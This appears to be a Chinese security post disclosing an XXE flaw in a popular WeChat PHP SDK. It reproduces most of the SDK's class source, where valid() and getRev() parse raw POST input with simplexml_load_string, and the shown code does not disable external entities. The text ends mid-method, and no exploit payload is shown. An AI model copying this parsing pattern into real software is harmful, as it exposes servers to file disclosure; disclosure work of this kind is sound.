一个用得比较广的微信API的XXE外部实体注入漏洞

文件地址：

https://github.com/dodgepudding/wechat-php-sdk/raw/master/wechat.class.php

代码：

<?php

/**

 *	微信公众平台PHP-SDK, 官方API部分

 *  @author  dodge <dodgepudding@gmail.com>

 *  @link https://github.com/dodgepudding/wechat-php-sdk

 *  @version 1.2

 *  usage:

 *   $options = array(

 *			'token'=>'tokenaccesskey', //填写你设定的key

 *			'encodingaeskey'=>'encodingaeskey', //填写加密用的EncodingAESKey

 *			'appid'=>'wxdk1234567890', //填写高级调用功能的app id

 *			'appsecret'=>'xxxxxxxxxxxxxxxxxxx' //填写高级调用功能的密钥

 *		);

 *	 $weObj = new Wechat($options);

 *   $weObj->valid();

 *   $type = $weObj->getRev()->getRevType();

 *   switch($type) {

 *   		case Wechat::MSGTYPE_TEXT:

 *   			$weObj->text("hello, I'm wechat")->reply();

 *   			exit;

 *   			break;

 *   		case Wechat::MSGTYPE_EVENT:

 *   			....

 *   			break;

 *   		case Wechat::MSGTYPE_IMAGE:

 *   			...

 *   			break;

 *   		default:

 *   			$weObj->text("help info")->reply();

 *   }

 *

 *   //获取菜单操作:

 *   $menu = $weObj->getMenu();

 *   //设置菜单

 *   $newmenu =  array(

 *   		"button"=>

 *   			array(

 *   				array('type'=>'click','name'=>'最新消息','key'=>'MENU_KEY_NEWS'),

 *   				array('type'=>'view','name'=>'我要搜索','url'=>'http://www.baidu.com'),

 *   				)

 *  		);

 *   $result = $weObj->createMenu($newmenu);

 */

class Wechat

{

	const MSGTYPE_TEXT = 'text';

	const MSGTYPE_IMAGE = 'image';

	const MSGTYPE_LOCATION = 'location';

	const MSGTYPE_LINK = 'link';

	const MSGTYPE_EVENT = 'event';

	const MSGTYPE_MUSIC = 'music';

	const MSGTYPE_NEWS = 'news';

	const MSGTYPE_VOICE = 'voice';

	const MSGTYPE_VIDEO = 'video';

	const EVENT_SUBSCRIBE = 'subscribe';       //订阅

	const EVENT_UNSUBSCRIBE = 'unsubscribe';   //取消订阅

	const EVENT_SCAN = 'SCAN';                 //扫描带参数二维码

	const EVENT_LOCATION = 'LOCATION';         //上报地理位置

	const EVENT_MENU_VIEW = 'VIEW';                     //菜单 - 点击菜单跳转链接

	const EVENT_MENU_CLICK = 'CLICK';                   //菜单 - 点击菜单拉取消息

	const EVENT_MENU_SCAN_PUSH = 'scancode_push';       //菜单 - 扫码推事件(客户端跳URL)

	const EVENT_MENU_SCAN_WAITMSG = 'scancode_waitmsg'; //菜单 - 扫码推事件(客户端不跳URL)

	const EVENT_MENU_PIC_SYS = 'pic_sysphoto';          //菜单 - 弹出系统拍照发图

	const EVENT_MENU_PIC_PHOTO = 'pic_photo_or_album';  //菜单 - 弹出拍照或者相册发图

	const EVENT_MENU_PIC_WEIXIN = 'pic_weixin';         //菜单 - 弹出微信相册发图器

	const EVENT_MENU_LOCATION = 'location_select';      //菜单 - 弹出地理位置选择器

	const EVENT_SEND_MASS = 'MASSSENDJOBFINISH';        //发送结果 - 高级群发完成

	const EVENT_SEND_TEMPLATE = 'TEMPLATESENDJOBFINISH';//发送结果 - 模板消息发送结果

	const EVENT_KF_SEESION_CREATE = 'kfcreatesession';  //多客服 - 接入会话

	const EVENT_KF_SEESION_CLOSE = 'kfclosesession';    //多客服 - 关闭会话

	const EVENT_KF_SEESION_SWITCH = 'kfswitchsession';  //多客服 - 转接会话

	const EVENT_CARD_PASS = 'card_pass_check';          //卡券 - 审核通过

	const EVENT_CARD_NOTPASS = 'card_not_pass_check';   //卡券 - 审核未通过

	const EVENT_CARD_USER_GET = 'user_get_card';        //卡券 - 用户领取卡券

	const EVENT_CARD_USER_DEL = 'user_del_card';        //卡券 - 用户删除卡券

	const API_URL_PREFIX = 'https://api.weixin.qq.com/cgi-bin';

	const AUTH_URL = '/token?grant_type=client_credential&';

	const MENU_CREATE_URL = '/menu/create?';

	const MENU_GET_URL = '/menu/get?';

	const MENU_DELETE_URL = '/menu/delete?';

	const GET_TICKET_URL = '/ticket/getticket?';

	const CALLBACKSERVER_GET_URL = '/getcallbackip?';

	const QRCODE_CREATE_URL='/qrcode/create?';

	const QR_SCENE = 0;

	const QR_LIMIT_SCENE = 1;

	const QRCODE_IMG_URL='https://mp.weixin.qq.com/cgi-bin/showqrcode?ticket=';

	const SHORT_URL='/shorturl?';

	const USER_GET_URL='/user/get?';

	const USER_INFO_URL='/user/info?';

	const USER_UPDATEREMARK_URL='/user/info/updateremark?';

	const GROUP_GET_URL='/groups/get?';

	const USER_GROUP_URL='/groups/getid?';

	const GROUP_CREATE_URL='/groups/create?';

	const GROUP_UPDATE_URL='/groups/update?';

	const GROUP_MEMBER_UPDATE_URL='/groups/members/update?';

	const GROUP_MEMBER_BATCHUPDATE_URL='/groups/members/batchupdate?';

	const CUSTOM_SEND_URL='/message/custom/send?';

	const MEDIA_UPLOADNEWS_URL = '/media/uploadnews?';

	const MASS_SEND_URL = '/message/mass/send?';

	const TEMPLATE_SET_INDUSTRY_URL = '/message/template/api_set_industry?';

	const TEMPLATE_ADD_TPL_URL = '/message/template/api_add_template?';

	const TEMPLATE_SEND_URL = '/message/template/send?';

	const MASS_SEND_GROUP_URL = '/message/mass/sendall?';

	const MASS_DELETE_URL = '/message/mass/delete?';

	const MASS_PREVIEW_URL = '/message/mass/preview?';

	const MASS_QUERY_URL = '/message/mass/get?';

	const UPLOAD_MEDIA_URL = 'http://file.api.weixin.qq.com/cgi-bin';

	const MEDIA_UPLOAD_URL = '/media/upload?';

	const MEDIA_UPLOADIMG_URL = '/media/uploadimg?';//图片上传接口

	const MEDIA_GET_URL = '/media/get?';

	const MEDIA_VIDEO_UPLOAD = '/media/uploadvideo?';

    const MEDIA_FOREVER_UPLOAD_URL = '/material/add_material?';

    const MEDIA_FOREVER_NEWS_UPLOAD_URL = '/material/add_news?';

    const MEDIA_FOREVER_NEWS_UPDATE_URL = '/material/update_news?';

    const MEDIA_FOREVER_GET_URL = '/material/get_material?';

    const MEDIA_FOREVER_DEL_URL = '/material/del_material?';

    const MEDIA_FOREVER_COUNT_URL = '/material/get_materialcount?';

    const MEDIA_FOREVER_BATCHGET_URL = '/material/batchget_material?';

	const OAUTH_PREFIX = 'https://open.weixin.qq.com/connect/oauth2';

	const OAUTH_AUTHORIZE_URL = '/authorize?';

	///多客服相关地址

	const CUSTOM_SERVICE_GET_RECORD = '/customservice/getrecord?';

	const CUSTOM_SERVICE_GET_KFLIST = '/customservice/getkflist?';

	const CUSTOM_SERVICE_GET_ONLINEKFLIST = '/customservice/getonlinekflist?';

	const API_BASE_URL_PREFIX = 'https://api.weixin.qq.com'; //以下API接口URL需要使用此前缀

	const OAUTH_TOKEN_URL = '/sns/oauth2/access_token?';

	const OAUTH_REFRESH_URL = '/sns/oauth2/refresh_token?';

	const OAUTH_USERINFO_URL = '/sns/userinfo?';

	const OAUTH_AUTH_URL = '/sns/auth?';

	///多客服相关地址

	const CUSTOM_SESSION_CREATE = '/customservice/kfsession/create?';

	const CUSTOM_SESSION_CLOSE = '/customservice/kfsession/close?';

	const CUSTOM_SESSION_SWITCH = '/customservice/kfsession/switch?';

	const CUSTOM_SESSION_GET = '/customservice/kfsession/getsession?';

	const CUSTOM_SESSION_GET_LIST = '/customservice/kfsession/getsessionlist?';

	const CUSTOM_SESSION_GET_WAIT = '/customservice/kfsession/getwaitcase?';

	const CS_KF_ACCOUNT_ADD_URL = '/customservice/kfaccount/add?';

	const CS_KF_ACCOUNT_UPDATE_URL = '/customservice/kfaccount/update?';

	const CS_KF_ACCOUNT_DEL_URL = '/customservice/kfaccount/del?';

	const CS_KF_ACCOUNT_UPLOAD_HEADIMG_URL = '/customservice/kfaccount/uploadheadimg?';

	///卡券相关地址

	const CARD_CREATE                     = '/card/create?';

	const CARD_DELETE                     = '/card/delete?';

	const CARD_UPDATE                     = '/card/update?';

	const CARD_GET                        = '/card/get?';

	const CARD_BATCHGET                   = '/card/batchget?';

	const CARD_MODIFY_STOCK               = '/card/modifystock?';

	const CARD_LOCATION_BATCHADD          = '/card/location/batchadd?';

	const CARD_LOCATION_BATCHGET          = '/card/location/batchget?';

	const CARD_GETCOLORS                  = '/card/getcolors?';

	const CARD_QRCODE_CREATE              = '/card/qrcode/create?';

	const CARD_CODE_CONSUME               = '/card/code/consume?';

	const CARD_CODE_DECRYPT               = '/card/code/decrypt?';

	const CARD_CODE_GET                   = '/card/code/get?';

	const CARD_CODE_UPDATE                = '/card/code/update?';

	const CARD_CODE_UNAVAILABLE           = '/card/code/unavailable?';

	const CARD_TESTWHILELIST_SET          = '/card/testwhitelist/set?';

	const CARD_MEETINGCARD_UPDATEUSER      = '/card/meetingticket/updateuser?';    //更新会议门票

	const CARD_MEMBERCARD_ACTIVATE        = '/card/membercard/activate?';      //激活会员卡

	const CARD_MEMBERCARD_UPDATEUSER      = '/card/membercard/updateuser?';    //更新会员卡

	const CARD_MOVIETICKET_UPDATEUSER     = '/card/movieticket/updateuser?';   //更新电影票(未加方法)

	const CARD_BOARDINGPASS_CHECKIN       = '/card/boardingpass/checkin?';     //飞机票-在线选座(未加方法)

	const CARD_LUCKYMONEY_UPDATE          = '/card/luckymoney/updateuserbalance?';     //更新红包金额

	const SEMANTIC_API_URL = '/semantic/semproxy/search?'; //语义理解

	///数据分析接口

	static $DATACUBE_URL_ARR = array(        //用户分析

	        'user' => array(

	                'summary' => '/datacube/getusersummary?',		//获取用户增减数据（getusersummary）

	                'cumulate' => '/datacube/getusercumulate?',		//获取累计用户数据（getusercumulate）

	        ),

	        'article' => array(            //图文分析

	                'summary' => '/datacube/getarticlesummary?',		//获取图文群发每日数据（getarticlesummary）

	                'total' => '/datacube/getarticletotal?',		//获取图文群发总数据（getarticletotal）

	                'read' => '/datacube/getuserread?',			//获取图文统计数据（getuserread）

	                'readhour' => '/datacube/getuserreadhour?',		//获取图文统计分时数据（getuserreadhour）

	                'share' => '/datacube/getusershare?',			//获取图文分享转发数据（getusershare）

	                'sharehour' => '/datacube/getusersharehour?',		//获取图文分享转发分时数据（getusersharehour）

	        ),

	        'upstreammsg' => array(        //消息分析

	                'summary' => '/datacube/getupstreammsg?',		//获取消息发送概况数据（getupstreammsg）

					'hour' => '/datacube/getupstreammsghour?',	//获取消息分送分时数据（getupstreammsghour）

	                'week' => '/datacube/getupstreammsgweek?',	//获取消息发送周数据（getupstreammsgweek）

	                'month' => '/datacube/getupstreammsgmonth?',	//获取消息发送月数据（getupstreammsgmonth）

	                'dist' => '/datacube/getupstreammsgdist?',	//获取消息发送分布数据（getupstreammsgdist）

	                'distweek' => '/datacube/getupstreammsgdistweek?',	//获取消息发送分布周数据（getupstreammsgdistweek）

	               	'distmonth' => '/datacube/getupstreammsgdistmonth?',	//获取消息发送分布月数据（getupstreammsgdistmonth）

	        ),

	        'interface' => array(        //接口分析

	                'summary' => '/datacube/getinterfacesummary?',	//获取接口分析数据（getinterfacesummary）

	                'summaryhour' => '/datacube/getinterfacesummaryhour?',	//获取接口分析分时数据（getinterfacesummaryhour）

	        )

	);

	///微信摇一摇周边

	const SHAKEAROUND_DEVICE_APPLYID = '/shakearound/device/applyid?';//申请设备ID

    const SHAKEAROUND_DEVICE_UPDATE = '/shakearound/device/update?';//编辑设备信息

	const SHAKEAROUND_DEVICE_SEARCH = '/shakearound/device/search?';//查询设备列表

	const SHAKEAROUND_DEVICE_BINDLOCATION = '/shakearound/device/bindlocation?';//配置设备与门店ID的关系

	const SHAKEAROUND_DEVICE_BINDPAGE = '/shakearound/device/bindpage?';//配置设备与页面的绑定关系

    const SHAKEAROUND_MATERIAL_ADD = '/shakearound/material/add?';//上传摇一摇图片素材

	const SHAKEAROUND_PAGE_ADD = '/shakearound/page/add?';//增加页面

	const SHAKEAROUND_PAGE_UPDATE = '/shakearound/page/update?';//编辑页面

	const SHAKEAROUND_PAGE_SEARCH = '/shakearound/page/search?';//查询页面列表

	const SHAKEAROUND_PAGE_DELETE = '/shakearound/page/delete?';//删除页面

	const SHAKEAROUND_USER_GETSHAKEINFO = '/shakearound/user/getshakeinfo?';//获取摇周边的设备及用户信息

	const SHAKEAROUND_STATISTICS_DEVICE = '/shakearound/statistics/device?';//以设备为维度的数据统计接口

    const SHAKEAROUND_STATISTICS_PAGE = '/shakearound/statistics/page?';//以页面为维度的数据统计接口

	private $token;

	private $encodingAesKey;

	private $encrypt_type;

	private $appid;

	private $appsecret;

	private $access_token;

	private $jsapi_ticket;

	private $api_ticket;

	private $user_token;

	private $partnerid;

	private $partnerkey;

	private $paysignkey;

	private $postxml;

	private $_msg;

	private $_funcflag = false;

	private $_receive;

	private $_text_filter = true;

	public $debug =  false;

	public $errCode = 40001;

	public $errMsg = "no access";

	public $logcallback;

	public function __construct($options)

	{

		$this->token = isset($options['token'])?$options['token']:'';

		$this->encodingAesKey = isset($options['encodingaeskey'])?$options['encodingaeskey']:'';

		$this->appid = isset($options['appid'])?$options['appid']:'';

		$this->appsecret = isset($options['appsecret'])?$options['appsecret']:'';

		$this->debug = isset($options['debug'])?$options['debug']:false;

		$this->logcallback = isset($options['logcallback'])?$options['logcallback']:false;

	}

	/**

	 * For weixin server validation

	 */

	private function checkSignature($str='')

	{

        $signature = isset($_GET["signature"])?$_GET["signature"]:'';

	    $signature = isset($_GET["msg_signature"])?$_GET["msg_signature"]:$signature; //如果存在加密验证则用加密验证段

        $timestamp = isset($_GET["timestamp"])?$_GET["timestamp"]:'';

        $nonce = isset($_GET["nonce"])?$_GET["nonce"]:'';

		$token = $this->token;

		$tmpArr = array($token, $timestamp, $nonce,$str);

		sort($tmpArr, SORT_STRING);

		$tmpStr = implode( $tmpArr );

		$tmpStr = sha1( $tmpStr );

		if( $tmpStr == $signature ){

			return true;

		}else{

			return false;

		}

	}

	/**

	 * For weixin server validation

	 * @param bool $return 是否返回

	 */

	public function valid($return=false)

    {

        $encryptStr="";

        if ($_SERVER['REQUEST_METHOD'] == "POST") {

            $postStr = file_get_contents("php://input");

            $array = (array)simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);

            $this->encrypt_type = isset($_GET["encrypt_type"]) ? $_GET["encrypt_type"]: '';

            if ($this->encrypt_type == 'aes') { //aes加密

                $this->log($postStr);

            	$encryptStr = $array['Encrypt'];

            	$pc = new Prpcrypt($this->encodingAesKey);

            	$array = $pc->decrypt($encryptStr,$this->appid);

            	if (!isset($array[0]) || ($array[0] != 0)) {

            	    if (!$return) {

            	        die('decrypt error!');

            	    } else {

            	        return false;

            	    }

            	}

            	$this->postxml = $array[1];

            	if (!$this->appid)

            	    $this->appid = $array[2];//为了没有appid的订阅号。

            } else {

                $this->postxml = $postStr;

            }

        } elseif (isset($_GET["echostr"])) {

        	$echoStr = $_GET["echostr"];

        	if ($return) {

        		if ($this->checkSignature())

        			return $echoStr;

        		else

        			return false;

        	} else {

        		if ($this->checkSignature())

        			die($echoStr);

        		else

        			die('no access');

        	}

        }

        if (!$this->checkSignature($encryptStr)) {

        	if ($return)

        		return false;

        	else

        		die('no access');

        }

        return true;

    }

	/**

	 * 设置发送消息

	 * @param array $msg 消息数组

	 * @param bool $append 是否在原消息数组追加

	 */

    public function Message($msg = '',$append = false){

    		if (is_null($msg)) {

    			$this->_msg =array();

    		}elseif (is_array($msg)) {

    			if ($append)

    				$this->_msg = array_merge($this->_msg,$msg);

    			else

    				$this->_msg = $msg;

    			return $this->_msg;

    		} else {

    			return $this->_msg;

    		}

    }

    /**

     * 设置消息的星标标志，官方已取消对此功能的支持

     */

    public function setFuncFlag($flag) {

    		$this->_funcflag = $flag;

    		return $this;

    }

    /**

     * 日志记录，可被重载。

     * @param mixed $log 输入日志

     * @return mixed

     */

    protected function log($log){

    		if ($this->debug && function_exists($this->logcallback)) {

    			if (is_array($log)) $log = print_r($log,true);

    			return call_user_func($this->logcallback,$log);

    		}

    }

    /**

     * 获取微信服务器发来的信息

     */

	public function getRev()

	{

		if ($this->_receive) return $this;

		$postStr = !empty($this->postxml)?$this->postxml:file_get_contents("php://input");

		//兼顾使用明文又不想调用valid()方法的情况

		$this->log($postStr);

		if (!empty($postStr)) {

			$this->_receive = (array)simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);

		}

		return $this;

	}

	/**

	 * 获取微信服务器发来的信息

	 */

	public function getRevData()

	{

		return $this->_receive;

	}

	/**

	 * 获取消息发送者

	 */

	public function getRevFrom() {

		if (isset($this->_receive['FromUserName']))

			return $this->_receive['FromUserName'];

		else

			return false;

	}

	/**

	 * 获取消息接受者

	 */

	public function getRevTo() {

		if (isset($this->_receive['ToUserName']))

			return $this->_receive['ToUserName'];

		else

			return false;

	}

	/**

	 * 获取接收消息的类型

	 */

	public function getRevType() {

		if (isset($this->_receive['MsgType']))

			return $this->_receive['MsgType'];

		else

			return false;

	}

	/**

	 * 获取消息ID

	 */

	public function getRevID() {

		if (isset($this->_receive['MsgId']))

			return $this->_receive['MsgId'];

		else

			return false;

	}

	/**

	 * 获取消息发送时间

	 */

	public function getRevCtime() {

		if (isset($this->_receive['CreateTime']))

			return $this->_receive['CreateTime'];

		else

			return false;

	}

	/**

	 * 获取接收消息内容正文

	 */

	public function getRevContent(){

		if (isset($this->_receive['Content']))

			return $this->_receive['Content'];

		else if (isset($this->_receive['Recognition'])) //获取语音识别文字内容，需申请开通

			return $this->_receive['Recognition'];

		else

			return false;

	}

	/**

	 * 获取接收消息图片

	 */

	public function getRevPic(){

		if (isset($this->_receive['PicUrl']))

			return array(

				'mediaid'=>$this->_receive['MediaId'],

				'picurl'=>(string)$this->_receive['PicUrl'],    //防止picurl为空导致解析出错

			);

		else

			return false;

	}

	/**

	 * 获取接收消息链接

	 */

	public function getRevLink(){

		if (isset($this->_receive['Url'])){

			return array(

				'url'=>$this->_receive['Url'],

				'title'=>$this->_receive['Title'],

				'description'=>$this->_receive['Description']

			);

		} else

			return false;

	}

	/**

	 * 获取接收地理位置

	 */

	public function getRevGeo(){

		if (isset($this->_receive['Location_X'])){

			return array(

				'x'=>$this->_receive['Location_X'],

				'y'=>$this->_receive['Location_Y'],

				'scale'=>$this->_receive['Scale'],

				'label'=>$this->_receive['Label']

			);

		} else

			return false;

	}

	/**

	 * 获取上报地理位置事件

	 */

	public function getRevEventGeo(){

        	if (isset($this->_receive['Latitude'])){

        		 return array(

				'x'=>$this->_receive['Latitude'],

				'y'=>$this->_receive['Longitude'],

				'precision'=>$this->_receive['Precision'],

			);

		} else

			return false;

	}

	/**

	 * 获取接收事件推送

	 */

	public function getRevEvent(){

		if (isset($this->_receive['Event'])){

			$array['event'] = $this->_receive['Event'];

		}

		if (isset($this->_receive['EventKey'])){

			$array['key'] = $this->_receive['EventKey'];

		}

		if (isset($array) && count($array) > 0) {

			return $array;

		} else {

			return false;

		}

	}

	/**

	 * 获取自定义菜单的扫码推事件信息

	 *

	 * 事件类型为以下两种时则调用此方法有效

	 * Event	 事件类型，scancode_push

	 * Event	 事件类型，scancode_waitmsg

	 *

	 * @return: array | false

	 * array (

	 *     'ScanType'=>'qrcode',

	 *     'ScanResult'=>'123123'

	 * )

	 */

	public function getRevScanInfo(){

		if (isset($this->_receive['ScanCodeInfo'])){

		    if (!is_array($this->_receive['ScanCodeInfo'])) {

		        $array=(array)$this->_receive['ScanCodeInfo'];

		        $this->_receive['ScanCodeInfo']=$array;

		    }else {

		        $array=$this->_receive['ScanCodeInfo'];

		    }

		}

		if (isset($array) && count($array) > 0) {

			return $array;

		} else {

			return false;

		}

	}

	/**

	 * 获取自定义菜单的图片发送事件信息

	 *

	 * 事件类型为以下三种时则调用此方法有效

	 * Event	 事件类型，pic_sysphoto        弹出系统拍照发图的事件推送

	 * Event	 事件类型，pic_photo_or_album  弹出拍照或者相册发图的事件推送

	 * Event	 事件类型，pic_weixin          弹出微信相册发图器的事件推送

	 *

	 * @return: array | false

	 * array (

	 *   'Count' => '2',

	 *   'PicList' =>array (

	 *         'item' =>array (

	 *             0 =>array ('PicMd5Sum' => 'aaae42617cf2a14342d96005af53624c'),

	 *             1 =>array ('PicMd5Sum' => '149bd39e296860a2adc2f1bb81616ff8'),

	 *         ),

	 *   ),

	 * )

	 *

	 */

	public function getRevSendPicsInfo(){

		if (isset($this->_receive['SendPicsInfo'])){

		    if (!is_array($this->_receive['SendPicsInfo'])) {

		        $array=(array)$this->_receive['SendPicsInfo'];

		        if (isset($array['PicList'])){

		            $array['PicList']=(array)$array['PicList'];

		            $item=$array['PicList']['item'];

		            $array['PicList']['item']=array();

		            foreach ( $item as $key => $value ){

		                $array['PicList']['item'][$key]=(array)$value;

		            }

		        }

		        $this->_receive['SendPicsInfo']=$array;

		    } else {

		        $array=$this->_receive['SendPicsInfo'];

		    }

		}

		if (isset($array) && count($array) > 0) {

			return $array;

		} else {

			return false;

		}

	}

	/**

	 * 获取自定义菜单的地理位置选择器事件推送

	 *

	 * 事件类型为以下时则可以调用此方法有效

	 * Event	 事件类型，location_select        弹出地理位置选择器的事件推送

	 *

	 * @return: array | false

	 * array (

	 *   'Location_X' => '33.731655000061',

	 *   'Location_Y' => '113.29955200008047',

	 *   'Scale' => '16',

	 *   'Label' => '某某市某某区某某路',

	 *   'Poiname' => '',

	 * )

	 *

	 */

	public function getRevSendGeoInfo(){

	    if (isset($this->_receive['SendLocationInfo'])){

	        if (!is_array($this->_receive['SendLocationInfo'])) {

	            $array=(array)$this->_receive['SendLocationInfo'];

	            if (empty($array['Poiname'])) {

	                $array['Poiname']="";

	            }

	            if (empty($array['Label'])) {

	                $array['Label']="";

	            }

	            $this->_receive['SendLocationInfo']=$array;

	        } else {

	            $array=$this->_receive['SendLocationInfo'];

	        }

	    }

	    if (isset($array) && count($array) > 0) {

	        return $array;

	    } else {

	        return false;

	    }

	}

	/**

	 * 获取接收语音推送

	 */

	public function getRevVoice(){

		if (isset($this->_receive['MediaId'])){

			return array(

				'mediaid'=>$this->_receive['MediaId'],

				'format'=>$this->_receive['Format'],

			);

		} else

			return false;

	}

	/**

	 * 获取接收视频推送

	 */

	public function getRevVideo(){

		if (isset($this->_receive['MediaId'])){

			return array(

					'mediaid'=>$this->_receive['MediaId'],

					'thumbmediaid'=>$this->_receive['ThumbMediaId']

			);

		} else

			return false;

	}

	/**

	 * 获取接收TICKET

	 */

	public function getRevTicket(){

		if (isset($this->_receive['Ticket'])){

			return $this->_receive['Ticket'];

		} else

			return false;

	}

	/**

	* 获取二维码的场景值

	*/

	public function getRevSceneId (){

		if (isset($this->_receive['EventKey'])){

			return str_replace('qrscene_','',$this->_receive['EventKey']);

		} else{

			return false;

		}

	}

	/**

	* 获取主动推送的消息ID

	* 经过验证，这个和普通的消息MsgId不一样

	* 当Event为 MASSSENDJOBFINISH 或 TEMPLATESENDJOBFINISH

	*/

	public function getRevTplMsgID(){

		if (isset($this->_receive['MsgID'])){

			return $this->_receive['MsgID'];

		} else

			return false;

	}

	/**

	* 获取模板消息发送状态

	*/

	public function getRevStatus(){

		if (isset($this->_receive['Status'])){

			return $this->_receive['Status'];

		} else

			return false;

	}

	/**

	* 获取群发或模板消息发送结果

	* 当Event为 MASSSENDJOBFINISH 或 TEMPLATESENDJOBFINISH，即高级群发/模板消息

	*/

	public function getRevResult(){

		if (isset($this->_receive['Status'])) //发送是否成功，具体的返回值请参考 高级群发/模板消息 的事件推送说明

			$array['Status'] = $this->_receive['Status'];

		if (isset($this->_receive['MsgID'])) //发送的消息id

			$array['MsgID'] = $this->_receive['MsgID'];

		//以下仅当群发消息时才会有的事件内容

		if (isset($this->_receive['TotalCount']))     //分组或openid列表内粉丝数量

			$array['TotalCount'] = $this->_receive['TotalCount'];

		if (isset($this->_receive['FilterCount']))    //过滤（过滤是指特定地区、性别的过滤、用户设置拒收的过滤，用户接收已超4条的过滤）后，准备发送的粉丝数

			$array['FilterCount'] = $this->_receive['FilterCount'];

		if (isset($this->_receive['SentCount']))     //发送成功的粉丝数

			$array['SentCount'] = $this->_receive['SentCount'];

		if (isset($this->_receive['ErrorCount']))    //发送失败的粉丝数

			$array['ErrorCount'] = $this->_receive['ErrorCount'];

		if (isset($array) && count($array) > 0) {

		    return $array;

		} else {

		    return false;

		}

	}

	/**

	 * 获取多客服会话状态推送事件 - 接入会话

	 * 当Event为 kfcreatesession 即接入会话

	 * @return string | boolean  返回分配到的客服

	 */

	public function getRevKFCreate(){

		if (isset($this->_receive['KfAccount'])){

			return $this->_receive['KfAccount'];

		} else

			return false;

	}

	/**

	 * 获取多客服会话状态推送事件 - 关闭会话

	 * 当Event为 kfclosesession 即关闭会话

	 * @return string | boolean  返回分配到的客服

	 */

	public function getRevKFClose(){

	    if (isset($this->_receive['KfAccount'])){

	        return $this->_receive['KfAccount'];

	    } else

	        return false;

	}

	/**

	 * 获取多客服会话状态推送事件 - 转接会话

	 * 当Event为 kfswitchsession 即转接会话

	 * @return array | boolean  返回分配到的客服

	 * {

	 *     'FromKfAccount' => '',      //原接入客服

	 *     'ToKfAccount' => ''            //转接到客服

	 * }

	 */

	public function getRevKFSwitch(){

	    if (isset($this->_receive['FromKfAccount']))     //原接入客服

	        $array['FromKfAccount'] = $this->_receive['FromKfAccount'];

	    if (isset($this->_receive['ToKfAccount']))    //转接到客服

	        $array['ToKfAccount'] = $this->_receive['ToKfAccount'];

	    if (isset($array) && count($array) > 0) {

	        return $array;

	    } else {

	        return false;

	    }

	}

	/**

	 * 获取卡券事件推送 - 卡卷审核是否通过

	 * 当Event为 card_pass_check(审核通过) 或 card_not_pass_check(未通过)

	 * @return string|boolean  返回卡券ID

	 */

	public function getRevCardPass(){

	    if (isset($this->_receive['CardId']))

	        return $this->_receive['CardId'];

	    else

	        return false;

	}

	/**

	 * 获取卡券事件推送 - 领取卡券

	 * 当Event为 user_get_card(用户领取卡券)

	 * @return array|boolean

	 */

	public function getRevCardGet(){

	    if (isset($this->_receive['CardId']))     //卡券 ID

	        $array['CardId'] = $this->_receive['CardId'];

	    if (isset($this->_receive['IsGiveByFriend']))    //是否为转赠，1 代表是，0 代表否。

	        $array['IsGiveByFriend'] = $this->_receive['IsGiveByFriend'];

	        $array['OldUserCardCode'] = $this->_receive['OldUserCardCode'];

	    if (isset($this->_receive['UserCardCode']) && !empty($this->_receive['UserCardCode'])) //code 序列号。自定义 code 及非自定义 code的卡券被领取后都支持事件推送。

	        $array['UserCardCode'] = $this->_receive['UserCardCode'];

	    if (isset($array) && count($array) > 0) {

	        return $array;

	    } else {

	        return false;

	    }

	}

	/**

	 * 获取卡券事件推送 - 删除卡券

	 * 当Event为 user_del_card(用户删除卡券)

	 * @return array|boolean

	 */

	public function getRevCardDel(){

	    if (isset($this->_receive['CardId']))     //卡券 ID

	        $array['CardId'] = $this->_receive['CardId'];

	    if (isset($this->_receive['UserCardCode']) && !empty($this->_receive['UserCardCode'])) //code 序列号。自定义 code 及非自定义 code的卡券被领取后都支持事件推送。

	        $array['UserCardCode'] = $this->_receive['UserCardCode'];

	    if (isset($array) && count($array) > 0) {

	        return $array;

	    } else {

	        return false;

	    }

	}

	public static function xmlSafeStr($str)

	{

		return '<![CDATA['.preg_replace("/[\\x00-\\x08\\x0b-\\x0c\\x0e-\\x1f]/",'',$str).']]>';

	}

	/**

	 * 数据XML编码

	 * @param mixed $data 数据

	 * @return string

	 */

	public static function data_to_xml($data) {

	    $xml = '';

	    foreach ($data as $key => $val) {

	        is_numeric($key) && $key = "item id=\"$key\"";

	        $xml    .=  "<$key>";

	        $xml    .=  ( is_array($val) || is_object($val)) ? self::data_to_xml($val)  : self::xmlSafeStr($val);

	        list($key, ) = explode(' ', $key);

	        $xml    .=  "</$key>";

	    }

	    return $xml;

	}

	/**

	 * XML编码

	 * @param mixed $data 数据

	 * @param string $root 根节点名

	 * @param string $item 数字索引的子节点名

	 * @param string $attr 根节点属性

	 * @param string $id   数字索引子节点key转换的属性名

	 * @param string $encoding 数据编码

	 * @return string

	*/

	public function xml_encode($data, $root='xml', $item='item', $attr='', $id='id', $encoding='utf-8') {

	    if(is_array($attr)){

	        $_attr = array();

	        foreach ($attr as $key => $value) {

	            $_attr[] = "{$key}=\"{$value}\"";

	        }

	        $attr = implode(' ', $_attr);

	    }

	    $attr   = trim($attr);

	    $attr   = empty($attr) ? '' : " {$attr}";

	    $xml   = "<{$root}{$attr}>";

	    $xml   .= self::data_to_xml($data, $item, $id);

	    $xml   .= "</{$root}>";

	    return $xml;

	}

	/**

	 * 过滤文字回复\r\n换行符

	 * @param string $text

	 * @return string|mixed

	 */

	private function _auto_text_filter($text) {

		if (!$this->_text_filter) return $text;

		return str_replace("\r\n", "\n", $text);

	}

	/**

	 * 设置回复消息

	 * Example: $obj->text('hello')->reply();

	 * @param string $text

	 */

	public function text($text='')

	{

		$FuncFlag = $this->_funcflag ? 1 : 0;

		$msg = array(

			'ToUserName' => $this->getRevFrom(),

			'FromUserName'=>$this->getRevTo(),

			'MsgType'=>self::MSGTYPE_TEXT,

			'Content'=>$this->_auto_text_filter($text),

			'CreateTime'=>time(),

			'FuncFlag'=>$FuncFlag

		);

		$this->Message($msg);

		return $this;

	}

	/**

	 * 设置回复消息

	 * Example: $obj->image('media_id')->reply();

	 * @param string $mediaid

	 */

	public function image($mediaid='')

	{

		$FuncFlag = $this->_funcflag ? 1 : 0;

		$msg = array(

			'ToUserName' => $this->getRevFrom(),

			'FromUserName'=>$this->getRevTo(),

			'MsgType'=>self::MSGTYPE_IMAGE,

			'Image'=>array('MediaId'=>$mediaid),

			'CreateTime'=>time(),

			'FuncFlag'=>$FuncFlag

		);

		$this->Message($msg);

		return $this;

	}

	/**

	 * 设置回复消息

	 * Example: $obj->voice('media_id')->reply();

	 * @param string $mediaid

	 */

	public function voice($mediaid='')

	{

		$FuncFlag = $this->_funcflag ? 1 : 0;

		$msg = array(

